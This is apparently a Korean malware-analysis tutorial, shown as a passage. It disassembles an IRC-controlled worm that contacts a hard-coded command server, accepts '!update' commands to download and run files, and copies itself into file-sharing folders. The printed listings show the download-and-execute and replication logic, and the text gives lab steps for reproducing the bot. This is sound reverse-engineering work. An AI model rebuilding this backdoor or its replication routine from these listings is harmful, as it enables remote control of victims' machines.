처음으로 하는 것은 백그라운드로 실행하기 위해 새로운 쓰레드를 생성하는 것이며, 하지만 현재로서는 그것을 무시하고 나중에 그것을 분석한다. 새로운 쓰레드를 생성한 후 이 웜은 Windows 소켓 함수들을 시용한다. 그것은 0으로 0x10 바이트 길이의 구조체를 채우고, 그것은 나중에 socket()과 같은 함수에 의해 사용된다. 이것은 sockaddr struct일 것이다. 이 코드는 htons 함수를 이용하여 network byte order에 바라는 포트를 변환하여 진행된다. 변환될 포트 번호는 0x1A0B 또는 십진수로 6667이며, 이것은 internet relay chat(irc)의 디폴트 포트이다.

그런 다음 그것은 표준 "dot-notation"(e.g. "127.0.0.1") 형태의 IP 주소를 소켓 함수들에 의해 사용되는 포맷으로 변환하는 inet_addr()를 사용하여 "tbc3.hanged.tk"의 주소를 획득하려고 노력함으로써 무의미한 뭔가를 한다. 이 함수는 "www.google.com"와 같은 url이나 malware에 의해 사용되는 url에는 적당하지 않다. 만약 이것이 실패하고 inet_addr()이 -1을 리턴하면 이 웜은 "correct" 함수 gethostbyname()를 사용하여 호스트의 주소를 획득하려고 시도하며, 다시 유효성의 결과를 점검한다. 만약 그것이 유효하지 않으면 Sleep을 호출하고, 호스트가 발견될 까지 재시도하며 반복한다. 그래서 이것이 "tbc3.hanged.tk"이란 문자열(무결성을 위해 이전에 점검되었던(아주 안전하지 않은 방식으로))이 사용되는 곳이다. 이 호스트에 대한 이용 가능한 주소를 획득한 후 그 호스트에 연결하려고 시도하는 것이다:

Code:

```
.text:00402C5D loc_402C5D:                            ; CODE XREF: sub_4029B3+29C
.text:00402C5D                mov     eax, [ebx+0Ch]
.text:00402C60                mov     eax, [eax]
.text:00402C62                mov     eax, [eax]
.text:00402C64                mov     dword ptr [ebp+name.sa_data+2], eax
.text:00402C67                push    6               ; protocol
.text:00402C69                push    1               ; type
.text:00402C6B                push    2               ; af
.text:00402C6D                call    socket
```

```
.text:00402C72                 mov     esi, eax
.text:00402C74                 push    10h             ; namelen
.text:00402C76                 lea     eax, [ebp+name]
.text:00402C79                 push    eax             ; name
.text:00402C7A                 push    esi             ; s
.text:00402C7B                 call    connect
.text:00402C80                 cmp     eax, 0FFFFFFFFh
.text:00402C83                 jnz     short loc_402C94
.text:00402C85                 push    2710h           ; dwMilliseconds
.text:00402C8A                 call    Sleep
.text:00402C8F
.text:00402C8F loc_402C8F:                             ; CODE XREF: sub_4029B3+2A8
.text:00402C8F                 jmp     loc_402BF7
.text:00402C94 ; ---------------------------------------------------------------------------
.text:00402C94
.text:00402C94 loc_402C94:                             ; CODE XREF: sub_4029B3+2D0
.text:00402C94                 push    100h
.text:00402C99                 lea     eax, [ebp+String]
.text:00402C9F                 push    eax
.text:00402CA0                 call    sub_40129C
.text:00402CA5                 mov     [ebp+var_4B8], eax
.text:00402CAB                 push    100h
.text:00402CB0                 lea     edx, [ebp+var_314]
.text:00402CB6                 push    edx
.text:00402CB7                 call    sub_40129C
.text:00402CBC                 push    eax
.text:00402CBD                 mov     edx, [ebp+var_4B8]
.text:00402CC3                 push    edx
.text:00402CC4                 push    offset aNickSUserS__Ti ; "NICK %sWrWnUSER %s . . :TIBiCP2PWrWn"
.text:00402CC9                 lea     edx, [ebp+buf]
.text:00402CCF                 push    edx
.text:00402CD0                 call    wsprintfA
.text:00402CD5                 add     esp, 20h
```

```
.text:00402CD8                lea     eax, [ebp+buf]
.text:00402CDE                push    eax             ; lpString
.text:00402CDF                call    lstrlenA
.text:00402CE4                push    0               ; flags
.text:00402CE6                push    eax             ; len
.text:00402CE7                lea     edx, [ebp+buf]
.text:00402CED                push    edx             ; buf
.text:00402CEE                push    esi             ; s
.text:00402CEF                call    send
.text:00402CF4                cmp     eax, 0FFFFFFFFh
.text:00402CF7                jnz     short loc_402D08
.text:00402CF9                push    2710h           ; dwMilliseconds
.text:00402CFE                call    Sleep
.text:00402D03                jmp     loc_402F2F
.text:00402D08 ; ---------------------------------------------------------------------------
```

이 코드는 디폴트 소켓을 생성함으로써 시작한다. 그런 다음 이전에 초기화된 sockaddr struct를 이용하여 "tbc3.hanged.tk"로 연결한다. 만약 호출이 실패하면 malware는 성공할 때까지 계속 시도하거나 프로세스가 종료된다. 다른 하나의 함수가 두 번 호출되고, 이 함수에 전달되는 포인터들은 나중에 irc 연결 시 닉과 사용자명으로 사용된다. 많은 malware는 공격자들에게 백도어를 제공하기 위해 irc 서버를 사용하는데, 감염된 시스템이 특정 포트에 listen할 필요가 없기 때문이다. 문제가 되는 함수는 닉네임과 사용자명을 생성하는 것처럼 보이고, 두 개의 아규먼트를 가지는데, 하나는 메모리에 대한 포인터이고, 두 번째 것은 숫자인데, 아마도 첫 번째 파라미터가 가리키는 메모리의 크기인 것 같다. 다음은 그 함수의 코드(흥미로운 부분만 제시)이다:

Code:

```
.text:004012A3                mov     ebx, [ebp+arg_0]
.text:004012A6                push    [ebp+arg_4]
.text:004012A9                push    ebx
.text:004012AA                call    RtlZeroMemory
.text:004012AF                call    rand
.text:004012B4                mov     ecx, 6
```

```
.text:004012B9                cdq
.text:004012BA                idiv    ecx
.text:004012BC                mov     edi, edx
.text:004012BE                add     edi, 4
.text:004012C1                mov     [ebp+var_4], edi
.text:004012C4                mov     eax, [ebp+arg_4]
.text:004012C7                cmp     edi, eax
.text:004012C9                jl      short loc_4012CF
.text:004012CB                dec     eax
.text:004012CC                mov     [ebp+var_4], eax
.text:004012CF
.text:004012CF loc_4012CF:                            ; CODE XREF: sub_40129C+2D
.text:004012CF                xor     esi, esi
.text:004012D1                jmp     short loc_4012EB
.text:004012D3 ; ---------------------------------------------------------------------------
.text:004012D3
.text:004012D3 loc_4012D3:                            ; CODE XREF: sub_40129C+52
.text:004012D3                call    rand
.text:004012D8                mov     ecx, 1Ah
.text:004012DD                cdq
.text:004012DE                idiv    ecx
.text:004012E0                mov     edi, edx
.text:004012E2                add     edi, 61h
.text:004012E5                mov     edx, edi
.text:004012E7                mov     [ebx+esi], dl
.text:004012EA                inc     esi
.text:004012EB
.text:004012EB loc_4012EB:                            ; CODE XREF: sub_40129C+35
.text:004012EB                cmp     esi, [ebp+var_4]
.text:004012EE                jl      short loc_4012D3
.text:004012F0                mov     byte ptr [esi+ebx+1], 0
.text:004012F5                mov     eax, ebx
```

이 함수는 타겟 메모리의 내용을 0으로 설정하기 위해 RtlZeroMemory를 사용한다. 두 번째 아규먼트는 블록의 크기로 사용된다. 후에 허위의 랜덤한 수가 생성된다. 서브루틴은 "idiv" 명령을 이용해 랜덤한 수(6으로 나눌 때)의 나머지를 계산하여 그것에 4를 더한다. 그래서 이것은 4에서 9까지의 범위 내의 수가 된다. 이 수는 메모리 블록의 크기와 비교되고, 만약 더 크면 (size - 1)로 대체된다. 그래서 생성된 수는 생성될 문자열의 길인 것처럼 보인다. 이 코드는 반복해서 허위의 랜덤한 수를 생성하는 루프가 뒤따르고, 나머지를 가지며(0x1A에 나누어질 때), 0x61을 더해 메모리에 그 수들을 저장한다. 효율적으로 이 루프는 소문자 ascii 문자들을 생성하는데, 왜냐하면 0x61은 'a'의 ascii 코드이며, 0x1A는 라틴 알파벳의 길이인데, 결과는 무작위의 소문자로 차 있는 4~9의 길이로 된 하나의 문자열이다. 그래서 malware는 무작위의 닉과 사용자명을 사용하여 하드 코딩된 irc 서버로 연결한다. 로그인을 한 후 서버로부터 데이터를 받기 위한 루프는 다음과 같다:

Code:

```
.text:00402D08                push    100h
.text:00402D0D                lea     eax, [ebp+String]
.text:00402D13                push    eax
.text:00402D14                call    RtlZeroMemory
.text:00402D19                jmp     loc_402F09
.text:00402D1E ; ---------------------------------------------------------------------------
.text:00402D1E
.text:00402D1E loc_402D1E:                            ; CODE XREF: sub_4029B3+56C
.text:00402D1E                push    offset aPing    ; "PING "
.text:00402D23                lea     eax, [ebp+String]
.text:00402D29                push    eax
.text:00402D2A                call    sub_40304C
.text:00402D2F                add     esp, 8
.text:00402D32                mov     edi, eax
.text:00402D34                or      eax, eax
.text:00402D36                jz      short loc_402D91
.text:00402D38                push    offset asc_4058C1 ; ":"
.text:00402D3D                push    edi
.text:00402D3E                call    strtok
.text:00402D43                push    offset asc_4058BE ; "WrWn"
```

```
.text:00402D48                push    0
.text:00402D4A                call    strtok
.text:00402D4F                mov     edi, eax
.text:00402D51                push    offset aTibicP2p3 ; "##TIBiC-P2P3##"
.text:00402D56                push    offset aTibicP2p3 ; "##TIBiC-P2P3##"
.text:00402D5B                push    edi
.text:00402D5C                push    offset aPongSJoinS ; "PONG :%sWrWnJOIN %sWrWn"
.text:00402D61                lea     eax, [ebp+String]
.text:00402D67                push    eax
.text:00402D68                call    wsprintfA
.text:00402D6D                add     esp, 24h
.text:00402D70                lea     eax, [ebp+String]
.text:00402D76                push    eax             ; lpString
.text:00402D77                call    lstrlenA
.text:00402D7C                push    0               ; flags
.text:00402D7E                push    eax             ; len
.text:00402D7F                lea     edx, [ebp+String]
.text:00402D85                push    edx             ; buf
.text:00402D86                push    esi             ; s
.text:00402D87                call    send
```

만약 웜이 로그인을 한 후 "PING" 응답을 받으면 malware는 **"##TIBiC-P2P3##"** 채널에 조인하고, 그것은 확인된 문자열이다. 받은 응답과의 비교가 그 이후에 이루어진다:

Code:

```
.text:00402D91                push    offset aPrivmsg ; "PRIVMSG "
.text:00402D96                lea     eax, [ebp+String]
.text:00402D9C                push    eax
.text:00402D9D                call    sub_40304C
.text:00402DA2                add     esp, 8
.text:00402DA5                mov     edi, eax
.text:00402DA7                or      eax, eax
```

```
.text:00402DA9                jz      loc_402F09
.text:00402DAF                push    offset asc_4058C1 ; ":"
.text:00402DB4                push    edi
.text:00402DB5                call    strstr
.text:00402DBA                add     esp, 8
.text:00402DBD                or      eax, eax
.text:00402DBF                jz      loc_402F09
.text:00402DC5                push    offset asc_4058C1 ; ":"
.text:00402DCA                push    edi
.text:00402DCB                call    strtok
.text:00402DD0                push    offset asc_4058BE ; "WrWn"
.text:00402DD5                push    0
.text:00402DD7                call    strtok
.text:00402DDC                add     esp, 10h
.text:00402DDF                mov     edi, eax
.text:00402DE1                cmp     byte ptr [edi], 21h
.text:00402DE4                jnz     loc_402F09
```

이 코드 부분은 받은 명령과 보내진 "PRIVMSG"와 비교한다. 그 응답은 그런 다음 메시지의 텍스트 시작 부분을 찾기 위해 콜론을 검색한다. 첫 번째 char는 '!' 표시를 나타내는 0x21과 비교된다. 그래서 이 느낌표는 특별한 백도어 명령의 시작 부분을 나타내는 것처럼 보인다. 나중에 살펴보겠지만, 이 malware는 "!exit"와 "!update"라는 두 개의 명령어만 알고 있다. 분명히 "!exit" 명령은 감염된 머신이 다시 시작할 때까지 malware 프로세스를 종료시킨다. 업데이트된 명령은 이 코드의 실행으로 이어진다:

Code:

```
.text:00402E24                push    0FFh            ; uSize
.text:00402E29                lea     eax, [ebp+buf]
.text:00402E2F                push    eax             ; lpBuffer
.text:00402E30                call    GetSystemDirectoryA
.text:00402E35                mov     [ebp+var_4C0], esi
.text:00402E3B                and     [ebp+var_4BC], 0
.text:00402E42                push    edi
```

```
.text:00402E43                push    offset aS       ; "%s"
.text:00402E48                lea     eax, [ebp+Parameter]
.text:00402E4E                push    eax
.text:00402E4F                call    wsprintfA
.text:00402E54                push    100h
.text:00402E59                lea     eax, [ebp+var_314]
.text:00402E5F                push    eax
.text:00402E60                call    sub_40129C
.text:00402E65                push    eax
.text:00402E66                lea     edx, [ebp+buf]
.text:00402E6C                push    edx
.text:00402E6D                push    offset aSS_exe  ; "%s₩₩%s.exe"
.text:00402E72                lea     edx, [ebp+var_5C0]
.text:00402E78                push    edx
.text:00402E79                call    wsprintfA
.text:00402E7E                add     esp, 24h
.text:00402E81                lea     eax, [ebp+ThreadId]
.text:00402E87                push    eax             ; lpThreadId
.text:00402E88                push    0               ; dwCreationFlags
.text:00402E8A                lea     eax, [ebp+Parameter]
.text:00402E90                push    eax             ; lpParameter
.text:00402E91                push    offset sub_401347 ; lpStartAddress
.text:00402E96                push    0               ; dwStackSize
.text:00402E98                push    0               ; lpThreadAttributes
.text:00402E9A                call    CreateThread
.text:00402E9F                jmp     short loc_402EA8
```

다시 무작위의 이름을 만들기 위해 함수가 호출되고, "$system_directory₩$random.exe"와 같은 포맷으로 문자열을 형성하는 wsprintfA로 결과 문자열이 전달된다. 그래서 "!update" 명령은 malware가 실행파일을 생성하도록 하며, 아마도 웹으로부터 다운로드 된 것이다. 결과적으로 다른 하나의 함수의 시작 주소와 함께 새로운 쓰레드가 생성된다:

Code:

```
.text:00401366                mov     dword ptr [ebx+204h], 1
.text:00401370                push    0
.text:00401372                push    0
.text:00401374                push    0
.text:00401376                push    0
.text:00401378                push    offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
.text:0040137D                call    InternetOpenA
.text:00401382                mov     [ebp+var_418], eax
.text:00401388                push    0
.text:0040138A                push    0
.text:0040138C                push    0
.text:0040138E                push    0
.text:00401390                lea     eax, [ebp+var_414]
.text:00401396                push    eax
.text:00401397                push    [ebp+var_418]
.text:0040139D                call    InternetOpenUrlA
.text:004013A2                mov     ebx, eax
.text:004013A4                or      ebx, ebx
.text:004013A6                jz      loc_4014D0
.text:004013AC                push    0               ; hTemplateFile
.text:004013AE                push    0               ; dwFlagsAndAttributes
.text:004013B0                push    2               ; dwCreationDisposition
.text:004013B2                push    0               ; lpSecurityAttributes
.text:004013B4                push    0               ; dwShareMode
.text:004013B6                push    40000000h       ; dwDesiredAccess
.text:004013BB                lea     eax, [ebp+File]
.text:004013C1                push    eax             ; lpFileName
.text:004013C2                call    CreateFileA
.text:004013C7                mov     [ebp+hObject], eax
.text:004013CD                cmp     eax, 1
.text:004013D0                jnb     short loc_401414
.text:004013D2                push    offset aTibicP2p3 ; "##TIBiC-P2P3##"
```

```
.text:004013D7                push    offset aPrivmsgSUpdate ; "PRIVMSG %s :Update error: File write er"..
.text:004013DC                lea     eax, [ebp+buf]
.text:004013E2                push    eax
.text:004013E3                call    wsprintfA
.text:004013E8                add     esp, 0Ch
.text:004013EB                lea     eax, [ebp+buf]
.text:004013F1                push    eax             ; lpString
.text:004013F2                call    lstrlenA
.text:004013F7                push    0               ; flags
.text:004013F9                push    eax             ; len
.text:004013FA                lea     edi, [ebp+buf]
.text:00401400                push    edi             ; buf
.text:00401401                push    [ebp+s]         ; s
.text:00401407                call    send
.text:0040140C                xor     eax, eax
.text:0040140E                inc     eax
.text:0040140F                jmp     loc_4014D8
.text:00401414 ; ---------------------------------------------------------------------------
.text:00401414
.text:00401414 loc_401414:                            ; CODE XREF: sub_401347+89
.text:00401414                                        ; sub_401347+124
.text:00401414                push    200h
.text:00401419                push    0
.text:0040141B                lea     eax, [ebp+Buffer]
.text:00401421                push    eax
.text:00401422                call    memset
.text:00401427                add     esp, 0Ch
.text:0040142A                lea     eax, [ebp+nNumberOfBytesToWrite]
.text:00401430                push    eax
.text:00401431                push    200h
.text:00401436                lea     eax, [ebp+Buffer]
.text:0040143C                push    eax
.text:0040143D                push    ebx
```

```
.text:0040143E                call    InternetReadFile
.text:00401443                push    0               ; lpOverlapped
.text:00401445                lea     eax, [ebp+NumberOfBytesWritten]
.text:0040144B                push    eax             ; lpNumberOfBytesWritten
.text:0040144C                push    [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
.text:00401452                lea     eax, [ebp+Buffer]
.text:00401458                push    eax             ; lpBuffer
.text:00401459                push    [ebp+hObject]   ; hFile
.text:0040145F                call    WriteFile
.text:00401464                cmp     [ebp+nNumberOfBytesToWrite], 0
.text:0040146B                jnz     short loc_401414
.text:0040146D                push    [ebp+hObject]   ; hObject
.text:00401473                call    CloseHandle
.text:00401478                push    5               ; nShowCmd
.text:0040147A                push    0               ; lpDirectory
.text:0040147C                push    0               ; lpParameters
.text:0040147E                lea     eax, [ebp+File]
.text:00401484                push    eax             ; lpFile
.text:00401485                push    offset aOpen    ; lpOperation
.text:0040148A                push    0               ; hwnd
text:0040148C                call    ShellExecuteA
```

이 함수의 코드는 아주 명확하다. 쓰레드는 "WinInet"-API를 이용해 파라미터("!update "를 따르는 텍스트)로 전달되는 주소로부터 파일을 다운받고, 그것을 디스크에 쓴 후 그것을 실행한다. 에러가 발생 시 에러 메시지가 "!update " 명령을 내린 irc 사용자에게 보내진다.

백도어는 공격자에게 로그인한 사용자의 권한으로 감염된 시스템에 임의의 코드를 실행할 수 있는 가능성을 제공한다. 이것은 공격자에게 시스템에 대한 완전한 통제권을 제공하는데, 왜냐하면 아주 많은 Windows 사용자들이 관리자 권한을 가진 계정으로 작업을 하기 때문이다.

만약 여러분의 가상 머신에서 스스로 이 malware의 행위를 확인하길 원한다면 irc 데몬을 설정하고, 가상 환경을 감염시키고, system32₩drivers₩etc₩hosts를 "tbc3.hanged.tk"가 irc 데몬이 실행되고 있는 머신의 주소로 결정하는 방식으로 편집해라. 그런 다음 또 다른 하나의 irc 클라이언트로 채널에 들어가 malware에

"!exit" 또는 "!update" 명령을 내리도록 해라. 만약 감염된 시스템을 인터넷에 연결하지 않고 "!update" 명령을 테스트하길 원한다면 http 데몬을 역시 설정해야 한다.

Replication

이제 우리는 한 부분만 남겨두고 거의 전체 실행 파일을 쪼개 분석했다. 남은 부분은 irc 서버에 연결되어 있는 malware 이전에 생성된 쓰레드이다. 다음은 이 쓰레드의 코드이다:

Code:

```
.text:0040299B loc_40299B:                             ; CODE XREF: StartAddress+12
.text:0040299B                 call    sub_4027F2
.text:004029A0                 push    0EA60h          ; dwMilliseconds
.text:004029A5                 call    Sleep
.text:004029AA                 jmp     short loc_40299B
.text:004029AA StartAddress    endp
```

그래서 이 쓰레드는 계속 한 함수를 호출하고, 1분을 기다린다. 반복적으로 호출되는 함수를 분석해보자:

Code:

```
.text:0040283B                 push    eax             ; lpSubKey
.text:0040283C                 push    80000001h       ; hKey
.text:00402841                 call    RegOpenKeyExA
.text:00402846                 or      eax, eax
.text:00402848                 jnz     short loc_402851
.text:0040284A                 mov     [ebp+var_8], 1
...
.text:00402864                 push    offset aSoftwareImeshC ; lpSubKey
.text:00402869                 push    80000001h       ; hKey
.text:0040286E                 call    RegOpenKeyExA
.text:00402873                 or      eax, eax
.text:00402875                 jnz     short loc_40287A
.text:00402877                 xor     edi, edi
```

```
.text:00402879                inc     edi
...
.text:0040288D                push    offset aSoftwareMorphe ; lpSubKey
.text:00402892                push    80000002h       ; hKey
.text:00402897                call    RegOpenKeyExA
.text:0040289C                or      eax, eax
.text:0040289E                jnz     short loc_4028A3
.text:004028A0                xor     esi, esi
.text:004028A2                inc     esi
...
```

RegOpenKeyExA에 대한 다른 호출들이 뒤따르지만 여기에 그것의 목록을 모두 열거하는 것이 필요하지 않다고 생각한다. 여기서 발췌한 이 코드는 다양한 파일 공유 소프트웨어에 속하는 레지스트리 키들의 존재를 확인한다. 만약 존재한다면 특정 변수나 레지스터가 1로 설정된다. 몇몇 코드 후에 이 레지스터와 변수들이 확인된다:

Code:

```
.text:0040292E                cmp     [ebp+var_8], 1
.text:00402932                jz      short loc_40294F
.text:00402934                cmp     edi, 1
.text:00402937                jz      short loc_40294F
.text:00402939                cmp     esi, 1
.text:0040293C                jz      short loc_40294F
.text:0040293E                cmp     ebx, 1
.text:00402941                jz      short loc_40294F
.text:00402943                cmp     [ebp+var_C], 1
.text:00402947                jz      short loc_40294F
.text:00402949                cmp     [ebp+var_10], 1
.text:0040294D                jnz     short loc_402954
.text:0040294F
.text:0040294F loc_40294F:                            ; CODE XREF: sub_4027F2+140
.text:0040294F                                        ; sub_4027F2+145 ...
```

```
.text:0040294F                call    sub_4026BA
.text:00402954
.text:00402954 loc_402954:                            ; CODE XREF: sub_4027F2+15B
```

그래서 만약 파일 공유 프로그램의 하나가 설치되면 그 프로그램은 0x4026BA에 위치한 함수를 호출한다:

Code:

```
.text:004026BA                push    ebp
.text:004026BB                mov     ebp, esp
.text:004026BD                sub     esp, 400h
.text:004026C3                push    ebx
.text:004026C4                push    esi
.text:004026C5                push    edi
.text:004026C6                push    0               ; lpModuleName
.text:004026C8                call    GetModuleHandleA
.text:004026CD                push    100h            ; nSize
.text:004026D2                lea     ebx, [ebp+Filename]
.text:004026D8                push    ebx             ; lpFilename
.text:004026D9                push    eax             ; hModule
.text:004026DA                call    GetModuleFileNameA
.text:004026DF                push    100h            ; uSize
.text:004026E4                lea     eax, [ebp+Buffer]
.text:004026EA                push    eax             ; lpBuffer
.text:004026EB                call    GetSystemDirectoryA
.text:004026F0                push    dword_4040A4
.text:004026F6                lea     eax, [ebp+Buffer]
.text:004026FC                push    eax
.text:004026FD                push    offset aSS      ; "%sWW%s"
.text:00402702                lea     eax, [ebp+PathName]
.text:00402708                push    eax
.text:00402709                call    wsprintfA
.text:0040270E                add     esp, 10h
```

```
.text:00402711                 push    0               ; lpSecurityAttributes
.text:00402713                 lea     eax, [ebp+PathName]
.text:00402719                 push    eax             ; lpPathName
.text:0040271A                 call    CreateDirectoryA
```

이 코드는 시스템 디렉토리와 모듈 파일을 결정한다. 시스템 디렉토리는 그런 다음 하드 코딩된 문자열 "msview"와 혼합되고, "msview"라는 이름의 시스템 디렉토리의 하부 폴더를 생성하는 CreateDirectoryA로 전달된다. 이 코드는 두 개의 비슷한 루프가 따르고, 다음은 그 첫 번째 것이다:

Code:

```
.text:0040271F                 xor     edi, edi
.text:00402721                 jmp     short loc_40277B
.text:00402723 ; ---------------------------------------------------------------------------
.text:00402723
.text:00402723 loc_402723:                             ; CODE XREF: sub_4026BA+C9
.text:00402723                 push    dword_4041C8[edi*4]
.text:0040272A                 lea     ebx, [ebp+PathName]
.text:00402730                 push    ebx
.text:00402731                 push    offset aSS      ; "%s\\%s"
.text:00402736                 lea     ebx, [ebp+var_100]
.text:0040273C                 push    ebx
.text:0040273D                 call    wsprintfA
.text:00402742                 mov     ebx, dword_4040A8[edi*4]
.text:00402749                 shl     ebx, 0Ah
.text:0040274C                 push    ebx
.text:0040274D                 lea     ebx, [ebp+var_100]
.text:00402753                 push    ebx
.text:00402754                 lea     ebx, [ebp+Filename]
.text:0040275A                 push    ebx
.text:0040275B                 call    sub_4014DF
.text:00402760                 add     esp, 1Ch
.text:00402763                 or      eax, eax
```

```
.text:00402765                jnz     short loc_402773
.text:00402767                push    3E8h            ; dwMilliseconds
.text:0040276C                call    Sleep
.text:00402771                jmp     short loc_40277A
.text:00402773 ; ---------------------------------------------------------------------------
.text:00402773
.text:00402773 loc_402773:                            ; CODE XREF: sub_4026BA+AB
.text:00402773                push    1               ; dwMilliseconds
.text:00402775                call    Sleep
.text:0040277A
.text:0040277A loc_40277A:                            ; CODE XREF: sub_4026BA+B7
.text:0040277A                inc     edi
.text:0040277B
.text:0040277B loc_40277B:                            ; CODE XREF: sub_4026BA+67
.text:0040277B                cmp     dword_4041C8[edi*4], 0
.text:00402783                jnz     short loc_402723
```

이 루프는 0에 의해 종료된 DWORD들의 배열을 가로지른다. 배열의 모든 요소는 문자열에 대한 포인터인데, 그것은 루프 시작 시 경로명을 형성하기 위해 **wsprintfA**와 혼합하여 사용되기 때문이다. 루프에서 왼쪽으로 10 비트만큼 이동한 숫자를 포함하고 있는 것처럼 보이는 **4040A8**에 위치한 DWORD들의 두 번째 배열이 있다. 첫 번째 배열에서 문자열을 가진 경로, 두 번째 배열로부터의 배수 값과 모듈 파일명은 **sub_4014DF(**단지 함수의 작은 부분인)로 전달된다:

Code:

```
.text:0040156A                push    0               ; lpFileSizeHigh
.text:0040156C                push    [ebp+hObject]   ; hFile
.text:0040156F                call    GetFileSize
.text:00401574                mov     [ebp+nNumberOfBytesToRead], eax
.text:00401577                call    GetProcessHeap
.text:0040157C                push    [ebp+nNumberOfBytesToRead] ; dwBytes
.text:0040157F                push    0               ; dwFlags
.text:00401581                push    eax             ; hHeap
```

```
.text:00401582                call    HeapAlloc
.text:00401587                mov     [ebp+lpMem], eax
.text:0040158A                push    0               ; lpOverlapped
.text:0040158C                lea     eax, [ebp+NumberOfBytesRead]
.text:0040158F                push    eax             ; lpNumberOfBytesRead
.text:00401590                push    [ebp+nNumberOfBytesToRead] ; nNumberOfBytesToRead
.text:00401593                push    [ebp+lpMem]     ; lpBuffer
.text:00401596                push    [ebp+hObject]   ; hFile
.text:00401599                call    ReadFile
.text:0040159E                or      eax, eax
.text:004015A0                jnz     short loc_4015CA
.text:004015A2                call    GetProcessHeap
.text:004015A7                push    [ebp+lpMem]     ; lpMem
.text:004015AA                push    0               ; dwFlags
.text:004015AC                push    eax             ; hHeap
.text:004015AD                call    HeapFree
.text:004015B2                push    [ebp+hObject]   ; hObject
.text:004015B5                call    CloseHandle
.text:004015BA                push    [ebp+hFile]     ; hObject
.text:004015BD                call    CloseHandle
.text:004015C2                xor     eax, eax
.text:004015C4                inc     eax
.text:004015C5                jmp     loc_4016E1
.text:004015CA ; ---------------------------------------------------------------------------
.text:004015CA
.text:004015CA loc_4015CA:                            ; CODE XREF: sub_4014DF+C1
.text:004015CA                xor     ebx, ebx
.text:004015CC                jmp     short loc_40161E
.text:004015CE ; ---------------------------------------------------------------------------
.text:004015CE
.text:004015CE loc_4015CE:                            ; CODE XREF: sub_4014DF+147
.text:004015CE                mov     eax, [ebp+lpMem]
.text:004015D1                cmp     byte ptr [eax+ebx], '-'
```

```
.text:004015D5                jnz     short loc_40161D
.text:004015D7                cmp     byte ptr [ebx+eax+1], '='
.text:004015DC                jnz     short loc_40161D
.text:004015DE                cmp     byte ptr [ebx+eax+2], '@'
.text:004015E3                jnz     short loc_40161D
.text:004015E5                cmp     byte ptr [ebx+eax+3], '#'
.text:004015EA                jnz     short loc_40161D
.text:004015EC                cmp     byte ptr [ebx+eax+4], 'E'
.text:004015F1                jnz     short loc_40161D
.text:004015F3                cmp     byte ptr [ebx+eax+5], '0'
.text:004015F8                jnz     short loc_40161D
.text:004015FA                cmp     byte ptr [ebx+eax+6], 'F'
.text:004015FF                jnz     short loc_40161D
.text:00401601                cmp     byte ptr [ebx+eax+7], '#'
.text:00401606                jnz     short loc_40161D
.text:00401608                cmp     byte ptr [ebx+eax+8], '@'
.text:0040160D                jnz     short loc_40161D
.text:0040160F                cmp     byte ptr [ebx+eax+9], '='
.text:00401614                jnz     short loc_40161D
.text:00401616                cmp     byte ptr [ebx+eax+0Ah], '-'
.text:0040161B                jz      short loc_401628
.text:0040161D
.text:0040161D loc_40161D:                            ; CODE XREF: sub_4014DF+F6
.text:0040161D                                        ; sub_4014DF+FD ...
.text:0040161D                inc     ebx
.text:0040161E
.text:0040161E loc_40161E:                            ; CODE XREF: sub_4014DF+ED
.text:0040161E                mov     eax, ebx
.text:00401620                add     eax, 0Bh
.text:00401623                cmp     eax, [ebp+nNumberOfBytesToRead]
.text:00401626                jb      short loc_4015CE
.text:00401628
.text:00401628 loc_401628:                            ; CODE XREF: sub_4014DF+13C
```

```
.text:00401628                push    0               ; lpOverlapped
.text:0040162A                lea     eax, [ebp+NumberOfBytesWritten]
.text:0040162D                push    eax             ; lpNumberOfBytesWritten
.text:0040162E                push    ebx             ; nNumberOfBytesToWrite
.text:0040162F                push    [ebp+lpMem]     ; lpBuffer
.text:00401632                push    [ebp+hFile]     ; hFile
.text:00401635                call    WriteFile
```

이 코드는 디스크 상의 프로세스의 이미지인 열린 파일을 완벽하게 읽을 것이다. 그 루프가 따른 후에 "-=@#EOF#@=-"와 같은 패턴에 대해 읽혀진 파일 내용을 검색하고, 이 시그네이처가 새로 생성된 두 번째 파일에서 발견될 때까지 그 파일의 내용을 쓴다. 이 메커니즘은 웜이 다른 파일 크기로 복제를 만들 때 사용된다. "-=@#EOF#@=-" 시그네이처는 '진짜' 실행파일의 끝을 나타내기 위한 패턴으로 사용된다. 그런 다음 추가 0 의 양이 새로 복사된 파일의 크기 filesize 를 만들기 위해 쓰여진다:

Code:

```
.text:00401678                push    [ebp+nNumberOfBytesToWrite] ; dwBytes
.text:0040167B                push    0               ; dwFlags
.text:0040167D                push    eax             ; hHeap
.text:0040167E                call    HeapAlloc
.text:00401683                mov     [ebp+lpMem], eax
.text:00401686                push    [ebp+nNumberOfBytesToWrite]
.text:00401689                push    eax
.text:0040168A                call    RtlZeroMemory
.text:0040168F                lea     eax, [ebp+Buffer]
.text:00401692                push    eax             ; lpString
.text:00401693                call    lstrlenA
.text:00401698                push    0               ; lpOverlapped
.text:0040169A                lea     edi, [ebp+NumberOfBytesWritten]
.text:0040169D                push    edi             ; lpNumberOfBytesWritten
.text:0040169E                push    eax             ; nNumberOfBytesToWrite
.text:0040169F                lea     edi, [ebp+Buffer]
.text:004016A2                push    edi             ; lpBuffer
```

```
.text:004016A3                push    [ebp+hFile]     ; hFile
.text:004016A6                call    WriteFile
.text:004016AB                push    0               ; lpOverlapped
.text:004016AD                lea     eax, [ebp+NumberOfBytesWritten]
.text:004016B0                push    eax             ; lpNumberOfBytesWritten
.text:004016B1                push    [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
.text:004016B4                push    [ebp+lpMem]     ; lpBuffer
.text:004016B7                push    [ebp+hFile]     ; hFile
.text:004016BA                call    WriteFile
```

쓰여질 0의 양은 아규먼트로 주어져 있다. 그래서 복제 루프에서 사용된 그 두 테이블은 파일명과 그 파일에 추가할 크기를 KB로 나타낸다(복사 프로시저에서 두 번째 루프는 비슷하다). 파일 공유 어플리케이션이 발견되었을 때 그 자신을 복제한 후 몇몇 다른 행동이 웜에 의해 취해진다:

Code:

```
.text:00402954 loc_402954:                             ; CODE XREF: sub_4027F2+15B
.text:00402954                cmp     [ebp+var_8], 1
.text:00402958                jnz     short loc_40295F
.text:0040295A                call    sub_4016E6
.text:0040295F
.text:0040295F loc_40295F:                             ; CODE XREF: sub_4027F2+166
.text:0040295F                cmp     edi, 1
.text:00402962                jnz     short loc_402969
.text:00402964                call    sub_401D2F
.text:00402969
